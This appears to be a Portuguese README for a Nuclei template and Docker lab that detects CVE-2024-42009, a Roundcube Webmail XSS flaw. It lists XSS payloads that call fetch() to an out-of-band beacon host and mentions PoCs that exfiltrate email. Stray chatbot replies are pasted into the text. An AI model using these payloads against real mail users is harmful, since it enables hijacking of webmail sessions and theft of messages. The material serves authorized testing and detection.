CVE-2024-42009 – XSS Refletido no Roundcube Webmail

📌 Visão Geral

Este repositório contém um template Nuclei e recursos de suporte para demonstrar e validar com segurança CVE-2024-42009, uma vulnerabilidade crítica de XSS refletido no Roundcube Webmail. A falha reside na função message_body() em show.php, onde modificações pós-saneamento levam à dessanitização e renderização insegura de conteúdo de e-mail HTML manipulado.

⚠️ Esta PoC é destinada apenas para fins educacionais e testes autorizados. Não use contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.

🧠 Resumo da Vulnerabilidade

CVE ID: CVE-2024-42009
Severidade: Crítico (CVSS 9.8)
Versões Afetadas: Roundcube ≤ 1.6.7 e ≤ 1.5.7
Versões Corrigidas: 1.6.8 e 1.5.8
Componente: message_body() em show.php
Impacto: Execução arbitrária de JavaScript quando um usuário visualiza um e-mail malicioso

🧪 Estratégia de Detecção (Uso Apenas em Laboratório)

Este repositório usa detecção Out-of-Band (OOB) via Interactsh para confirmar a execução de JavaScript em um ambiente controlado.

Etapas Principais:

Implantar uma instância vulnerável do Roundcube (ex.: via Docker)
Enviar e-mail manipulado com tag <body> contendo onanimationstart e um beacon para o Interactsh
Abrir o e-mail na interface do Roundcube
Confirmar o callback DNS/HTTP para o domínio do Interactsh

🐳 Configuração do Laboratório

Use o arquivo Docker Compose fornecido para iniciar uma instância local do Roundcube com MailHog (SMTP sink) e MariaDB.

git clone https://github.com/Shubhankargupta691/CVE-2024-42009.git
cd CVE-2024-42009
docker compose up -d

Interface Roundcube: http://localhost:8080
Interface MailHog: http://localhost:8025
Método de Login: Conta Google

⚠️ Não use sua conta Google.

📁 Conteúdo do Repositório

CVE-2024-42009-OOB.yaml – Template Nuclei com detecção Interactsh e Out-of-Band (OOB)
CVE-2024-42009.yaml – Template Nuclei sem Interactsh e OOB
docker-compose.yml – Configuração do ambiente de laboratório para Roundcube Webmail
Images/ – Capturas de tela mostrando hits HTTP/DNS do Interactsh

🎥 Demonstração em Vídeo

Este vídeo percorre toda a cadeia de exploração:

Criando o payload
Enviando-o por e-mail ou endpoint
Disparando a vulnerabilidade
Confirmando o beacon via Interactsh

(demonstração em vídeo)

Para incluir esses payloads XSS de forma responsável em seu README, coloque-os em uma seção claramente identificada como para fins educacionais ou de teste. Aqui está uma estrutura sugerida:

🧪 Exemplos de Payloads XSS (Apenas para Fins de Teste)

⚠️ Aviso: Estes payloads são destinados ao uso educacional e a testes de segurança autorizados. Não os implante em sistemas sem permissão explícita.

<!-- Image tag with onerror -->
<img src="https://interact.sh/xss-test" onerror="fetch('https://interact.sh/hit')">

<!-- Broken image source with onerror -->
<img src="https://raw.githubusercontent.com/shubhankargupta691/cve-2024-42009/main/x" onerror="fetch('https://interact.sh/hit')">

<!-- SVG with onload -->
<svg onload="fetch('https://interact.sh/hit')"></svg>

<!-- Script tag -->
<script>fetch('https://interact.sh/hit')</script>

<!-- JavaScript in iframe src -->

🧭 Como Usar

Substitua https://interact.sh/hit pelo seu próprio endpoint de listener.
Use em ambientes controlados, como laboratórios locais ou plataformas CTF.
Monitore seu endpoint para requisições recebidas e valide a execução.

🛡️ Mitigação

Atualize o Roundcube para:

1.6.8 ou 1.5.8
Essas versões removem a lógica de pós-processamento vulnerável e aplicam saneamento mais rigoroso e cabeçalhos CSP.

📜 Referências

Perfeito — aqui está uma seção de Referências limpa e profissional que você pode incluir no seu README ou submissão de e-mail para CVE-2024-42009. Ela cita todas as fontes que você listou, formatadas para clareza e credibilidade:

📚 Referências

Entrada CVE do NVD – CVE-2024-42009 – Listagem oficial da vulnerabilidade com pontuação CVSS e versões afetadas
Blog da SonarSource – E-mails Governamentais em Risco – Análise técnica detalhada e detalhamento da exploração
PoC no GitHub por DaniTheHack3r – Exploit baseado em Python com listener de e-mail e payload acionado por animação
PoC no GitHub por Bhanunamikaze – Injeção automatizada de payload e exfiltração via HTTP listener
PoC no GitHub por 0xbassiouny1337 – Exploit de XSS armazenado com captura e decodificação de e-mail em tempo real

CVE-2024-42009

Mais Populares